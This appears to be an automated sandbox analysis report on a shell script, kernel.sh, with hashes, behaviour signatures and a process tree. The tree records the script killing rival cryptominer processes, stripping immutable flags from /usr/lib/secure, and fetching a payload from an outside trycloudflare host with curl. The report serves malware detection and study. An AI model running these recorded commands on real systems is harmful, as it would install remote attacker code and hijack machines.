Analysis
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max time kernel
149s -
max time network
18s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
13-12-2024 09:54
Static task
static1
Behavioral task
behavioral1
Sample
kernel.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
kernel.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
kernel.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
kernel.sh
Resource
debian9-mipsel-20240611-en
General
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Target
kernel.sh
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Size
3KB
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MD5
70b5ca97532b13cf5743c138d213ef1f
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SHA1
55ce28f0db3d7fbd69c72d78282b06147df690f9
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SHA256
7bc7583c91a5b3880dcb9ae735530d4990d13f67216f08dfa140f927a09c1a87
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SHA512
253b9e6eda76101b81522d412fa394da12406997e813f1cc49dcfc57dbf6b432d64829600a2d0413a7ecfce3e6f412f4529eb4a35b278bf5fb3626fc5f7dbfa6
Malware Config
Signatures
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Attempts to change immutable files 1 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 884 chattr -
Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl -
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep -
description ioc Process File opened for reading /proc/590/status pgrep File opened for reading /proc/656/status pgrep File opened for reading /proc/608/cmdline pgrep File opened for reading /proc/41/status pgrep File opened for reading /proc/648/cmdline pgrep File opened for reading /proc/671/status pgrep File opened for reading /proc/146/status pgrep File opened for reading /proc/658/cmdline pgrep File opened for reading /proc/648/cmdline pgrep File opened for reading /proc/590/cmdline pgrep File opened for reading /proc/608/status pgrep File opened for reading /proc/6/cmdline pgrep File opened for reading /proc/3/status pgrep File opened for reading /proc/334/cmdline pgrep File opened for reading /proc/7/cmdline pgrep File opened for reading /proc/293/cmdline pgrep File opened for reading /proc/608/cmdline pgrep File opened for reading /proc/791/cmdline pgrep File opened for reading /proc/3/cmdline pgrep File opened for reading /proc/20/status pgrep File opened for reading /proc/9/status pgrep File opened for reading /proc/27/status pgrep File opened for reading /proc/293/cmdline pgrep File opened for reading /proc/610/cmdline pgrep File opened for reading /proc/287/cmdline pgrep File opened for reading /proc/13/status pgrep File opened for reading /proc/310/cmdline pgrep File opened for reading /proc/26/cmdline pgrep File opened for reading /proc/4/cmdline pgrep File opened for reading /proc/648/status pgrep File opened for reading /proc/157/status pgrep File opened for reading /proc/326/status pgrep File opened for reading /proc/146/cmdline pgrep File opened for reading /proc/766/status pgrep File opened for reading /proc/13/cmdline pgrep File opened for reading /proc/664/cmdline pgrep File opened for reading /proc/4/status pgrep File opened for reading /proc/239/cmdline pgrep File opened for reading /proc/41/status pgrep File opened for reading /proc/17/cmdline pgrep File opened for reading /proc/310/status ps File opened for reading /proc/15/cmdline pgrep File opened for reading /proc/9/cmdline pgrep File opened for reading /proc/608/cmdline pgrep File opened for reading /proc/117/cmdline pgrep File opened for reading /proc/11/status pgrep File opened for reading /proc/334/status pgrep File opened for reading /proc/24/status pgrep File opened for reading /proc/653/cmdline pgrep File opened for reading /proc/2/cmdline pgrep File opened for reading /proc/21/status pgrep File opened for reading /proc/5/status pgrep File opened for reading /proc/11/status pgrep File opened for reading /proc/41/status pgrep File opened for reading /proc/11/status pgrep File opened for reading /proc/5/status pgrep File opened for reading /proc/15/status pgrep File opened for reading /proc/8/cmdline pgrep File opened for reading /proc/16/status pgrep File opened for reading /proc/23/status pgrep File opened for reading /proc/27/cmdline pgrep File opened for reading /proc/2/cmdline pgrep File opened for reading /proc/24/status pgrep File opened for reading /proc/290/cmdline pgrep -
System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 749 pgrep
Processes
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/tmp/kernel.sh/tmp/kernel.sh1⤵PID:656
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/usr/bin/pgreppgrep -x kdevtmpfsi2⤵
- Reads CPU attributes
PID:663
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/usr/bin/pgreppgrep -x kinsing2⤵
- Reads CPU attributes
- Reads runtime system information
PID:668
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/usr/bin/pgreppgrep -x xmrig2⤵
- Reads runtime system information
PID:673
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/usr/bin/pgreppgrep -x xmrigDaemon2⤵
- Reads CPU attributes
PID:678
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/usr/bin/pgreppgrep -x xmrigMiner2⤵PID:682
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/usr/bin/pgreppgrep -x xmrigMinerd2⤵PID:684
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/usr/bin/pgreppgrep -x xmrigMinerDaemon2⤵
- Reads CPU attributes
- Reads runtime system information
PID:687
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/usr/bin/pgreppgrep -x xmrigMinerServer2⤵
- Reads runtime system information
PID:688
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/usr/bin/pgreppgrep -x xmrigMinerServerDaemon2⤵
- Reads runtime system information
PID:691
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/usr/bin/pgreppgrep -x bash22⤵
- Reads CPU attributes
PID:693
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/usr/bin/pgreppgrep -x .network-setup2⤵PID:695
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/usr/bin/pgreppgrep -x syshd2⤵
- Reads CPU attributes
PID:696
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/usr/bin/pgreppgrep -x /usr/.network-setup/config.json2⤵
- Reads CPU attributes
- Reads runtime system information
PID:698
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/usr/bin/pgreppgrep -x bashirc2⤵PID:699
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/usr/bin/pgreppgrep -x masscan2⤵
- Reads CPU attributes
- Reads runtime system information
PID:700
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/usr/bin/pgreppgrep -x cronb.sh2⤵PID:701
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/usr/bin/pgreppgrep -x crond.sh2⤵
- Reads CPU attributes
PID:702
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/usr/bin/pgreppgrep -x linuxsys2⤵
- Reads CPU attributes
- Reads runtime system information
PID:703
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/usr/bin/pgreppgrep -x miner2⤵
- Reads CPU attributes
- Reads runtime system information
PID:704
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/usr/bin/pgreppgrep -x gitlabw2⤵
- Reads CPU attributes
PID:705
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/usr/bin/pgreppgrep -x xmp2⤵
- Reads CPU attributes
- Reads runtime system information
PID:706
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/usr/bin/pgreppgrep -x juiceSSH2⤵PID:707
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/usr/bin/pgreppgrep -x khnug2⤵PID:708
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/usr/bin/pgreppgrep -x Linux22⤵
- Reads CPU attributes
- Reads runtime system information
PID:709
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/usr/bin/pgreppgrep -x kthreaddi2⤵
- Reads runtime system information
PID:710
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/usr/bin/pgreppgrep -x kkssl2⤵
- Reads runtime system information
PID:713
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/usr/bin/pgreppgrep -x cnrig2⤵
- Reads CPU attributes
PID:715
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/usr/bin/pgreppgrep -x stratum2⤵
- Reads CPU attributes
PID:717
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/usr/bin/pgreppgrep -x vscode2⤵PID:719
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/usr/bin/pgreppgrep -x "runsv puma"2⤵
- Reads CPU attributes
PID:721
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/usr/bin/pgreppgrep -x xmrig2⤵
- Reads CPU attributes
PID:724
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/usr/bin/pgreppgrep -x c3pool2⤵
- Reads runtime system information
PID:725
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/usr/bin/pgreppgrep -x kthreaddk2⤵
- Reads CPU attributes
- Reads runtime system information
PID:728
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/usr/bin/pgreppgrep -x dbused2⤵
- Reads CPU attributes
- Reads runtime system information
PID:729
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/usr/bin/pgreppgrep -x kdevtmpfsi2⤵
- Reads CPU attributes
- Reads runtime system information
PID:732
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/usr/bin/pgreppgrep -x kinsing2⤵
- Reads CPU attributes
PID:734
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/usr/bin/pgreppgrep -x supportxmr2⤵PID:736
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/usr/bin/pgreppgrep -x xmr2⤵
- Reads CPU attributes
PID:739
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/usr/bin/pgreppgrep -x kthreaddw2⤵
- Reads runtime system information
PID:741
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/usr/bin/pgreppgrep -x klibsystem42⤵PID:743
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/usr/bin/pgreppgrep -x klibsystem52⤵
- Reads CPU attributes
PID:745
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/usr/bin/pgreppgrep -x kworkerr2⤵
- Reads CPU attributes
- Reads runtime system information
PID:747
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/usr/bin/pgreppgrep -x ipv6_addrconfd2⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:749
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/usr/bin/pgreppgrep -x ksoftriqd2⤵
- Reads CPU attributes
- Reads runtime system information
PID:751
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/usr/bin/pgreppgrep -x 8a9ed702⤵
- Reads CPU attributes
PID:754
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/usr/bin/pgreppgrep -x xmrigMiner2⤵
- Reads CPU attributes
- Reads runtime system information
PID:756
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/usr/bin/pgreppgrep -x kthreaddo2⤵
- Reads runtime system information
PID:758
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/usr/bin/pgreppgrep -x xssai2⤵
- Reads runtime system information
PID:760
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/usr/bin/pgreppgrep -x k1.sh2⤵
- Reads runtime system information
PID:762
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/usr/bin/pgreppgrep -x base642⤵
- Reads runtime system information
PID:764
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/usr/bin/pgreppgrep -x java-deamon2⤵
- Reads CPU attributes
- Reads runtime system information
PID:768
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/usr/bin/pgreppgrep -x up.elf2⤵
- Reads CPU attributes
PID:770
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/usr/bin/pgreppgrep -x logrotate2⤵
- Reads CPU attributes
- Reads runtime system information
PID:774
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/usr/bin/pgreppgrep -x "\\-bash"2⤵
- Reads runtime system information
PID:777
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/usr/bin/pgreppgrep -x b64decode2⤵
- Reads CPU attributes
PID:779
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/usr/bin/pgreppgrep -x MCf82⤵
- Reads CPU attributes
PID:781
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/usr/bin/pgreppgrep -x mysqldd2⤵
- Reads CPU attributes
PID:783
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/usr/bin/pgreppgrep -x monero2⤵
- Reads CPU attributes
PID:786
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/usr/bin/pgreppgrep -x sshpass2⤵
- Reads CPU attributes
PID:788
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/usr/bin/pgreppgrep -x sshexec2⤵
- Reads CPU attributes
PID:789
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/usr/bin/pgreppgrep -x attack2⤵
- Reads CPU attributes
- Reads runtime system information
PID:791
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/usr/bin/pgreppgrep -x dovecat2⤵PID:792
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/usr/bin/pgreppgrep -x javae2⤵PID:793
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/usr/bin/pgreppgrep -x donate2⤵
- Reads CPU attributes
- Reads runtime system information
PID:794
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/usr/bin/pgreppgrep -x scan.log2⤵
- Reads runtime system information
PID:795
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/usr/bin/pgreppgrep -x xmr-stak2⤵
- Reads CPU attributes
PID:796
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/usr/bin/pgreppgrep -x crond642⤵
- Reads runtime system information
PID:797
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/usr/bin/pgreppgrep -x /tmp/java2⤵
- Reads runtime system information
PID:798
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/usr/bin/pgreppgrep -x pastebin2⤵
- Reads runtime system information
PID:799
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/usr/bin/pgreppgrep -x so.txt2⤵
- Reads CPU attributes
PID:800
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/usr/bin/pgreppgrep -x "bash -s 3673"2⤵
- Reads CPU attributes
PID:801
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/usr/bin/pgreppgrep -x 8005/cc52⤵
- Reads CPU attributes
PID:802
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/usr/bin/pgreppgrep -x /tmp/system2⤵PID:803
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/usr/bin/pgreppgrep -x ./cliented2⤵
- Reads CPU attributes
- Reads runtime system information
PID:804
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/usr/bin/pgreppgrep -x .inis2⤵
- Reads CPU attributes
PID:807
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/usr/bin/pgreppgrep -x certutil2⤵PID:810
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/usr/bin/pgreppgrep -x excludefile2⤵
- Reads runtime system information
PID:811
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/usr/bin/pgreppgrep -x agettyd2⤵
- Reads CPU attributes
PID:814
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/usr/bin/pgreppgrep -x kthreaddkk2⤵PID:817
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/usr/bin/pgreppgrep -x /dev/shm2⤵
- Reads CPU attributes
PID:819
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/usr/bin/pgreppgrep -x /var/tmp2⤵
- Reads CPU attributes
- Reads runtime system information
PID:821
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/usr/bin/pgreppgrep -x ./python2⤵
- Reads CPU attributes
- Reads runtime system information
PID:824
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/usr/bin/pgreppgrep -x ./crun2⤵
- Reads CPU attributes
PID:826
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/usr/bin/pgreppgrep -x "bash -s kthreaddk"2⤵
- Reads runtime system information
PID:828
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/usr/bin/pgreppgrep -x ./.2⤵PID:831
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/usr/bin/pgreppgrep -x 118/cf.sh2⤵PID:833
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/usr/bin/pgreppgrep -x ./lin642⤵
- Reads CPU attributes
PID:835
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/usr/bin/pgreppgrep -x confluence/install.sh2⤵
- Reads CPU attributes
PID:837
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/usr/bin/pgreppgrep -x unls64.sh2⤵PID:839
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/usr/bin/pgreppgrep -x ./system-xfwm4-session2⤵
- Reads CPU attributes
- Reads runtime system information
PID:841
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/usr/bin/pgreppgrep -x ./httpd2⤵
- Reads CPU attributes
PID:843
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/usr/bin/pgreppgrep -x loligang2⤵
- Reads CPU attributes
PID:846
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/usr/bin/pgreppgrep -x .63792⤵PID:848
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/usr/bin/pgreppgrep -x load.sh2⤵
- Reads runtime system information
PID:850
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/usr/bin/pgreppgrep -x init.sh2⤵PID:851
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/usr/bin/pgreppgrep -x solr.sh2⤵PID:854
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/usr/bin/pgreppgrep -x .rsyslogds2⤵PID:856
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/usr/bin/pgreppgrep -x sysDworker2⤵
- Reads CPU attributes
PID:858
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/usr/bin/pgreppgrep -x pnscan2⤵
- Reads CPU attributes
PID:859
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/usr/bin/pgreppgrep -x sysguard2⤵
- Reads runtime system information
PID:860
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/usr/bin/pgreppgrep -x solrd2⤵PID:861
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/usr/bin/pgreppgrep -x polska2⤵
- Reads runtime system information
PID:862
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/usr/bin/pgreppgrep -x meminitsrv2⤵
- Reads CPU attributes
PID:863
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/usr/bin/pgreppgrep -x networkservice2⤵PID:864
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/usr/bin/pgreppgrep -x sysupdate2⤵PID:865
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/usr/bin/pgreppgrep -x phpguard2⤵
- Reads runtime system information
PID:867
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/usr/bin/pgreppgrep -x phpupdate2⤵
- Reads CPU attributes
- Reads runtime system information
PID:869
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/usr/bin/pgreppgrep -x networkmanager2⤵
- Reads CPU attributes
PID:870
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/usr/bin/pgreppgrep -x knthread2⤵PID:871
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/usr/bin/pgreppgrep -x mysqlserver2⤵
- Reads runtime system information
PID:872
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/usr/bin/pgreppgrep -x gitlabkill2⤵PID:873
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/usr/bin/pgreppgrep -x watchbog2⤵
- Reads CPU attributes
PID:874
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/usr/bin/pgreppgrep -x zgrab2⤵
- Reads CPU attributes
- Reads runtime system information
PID:875
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/usr/bin/pgreppgrep -x udiskssd2⤵
- Reads CPU attributes
PID:876
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/bin/grepgrep atdb2⤵PID:878
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/bin/psps -ef2⤵
- Reads CPU attributes
- Reads runtime system information
PID:877
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/bin/grepgrep -v grep2⤵PID:879
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/usr/bin/awkawk "{print \$2}"2⤵PID:880
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/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:881
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/usr/bin/idid -u2⤵PID:882
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/usr/bin/idid -u2⤵PID:883
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/usr/bin/chattrchattr -ia /usr/lib/secure2⤵
- Attempts to change immutable files
PID:884
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/bin/rmrm -rf /usr/lib/secure2⤵PID:885
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/bin/mkdirmkdir -p /usr/lib/secure2⤵PID:886
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/bin/chmodchmod +w /usr/lib/secure2⤵PID:887
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/usr/bin/curlcurl -ks https://throw-shut-discuss-pirates.trycloudflare.com/initd -o /usr/lib/secure/udiskssd2⤵
- Checks CPU configuration
PID:888
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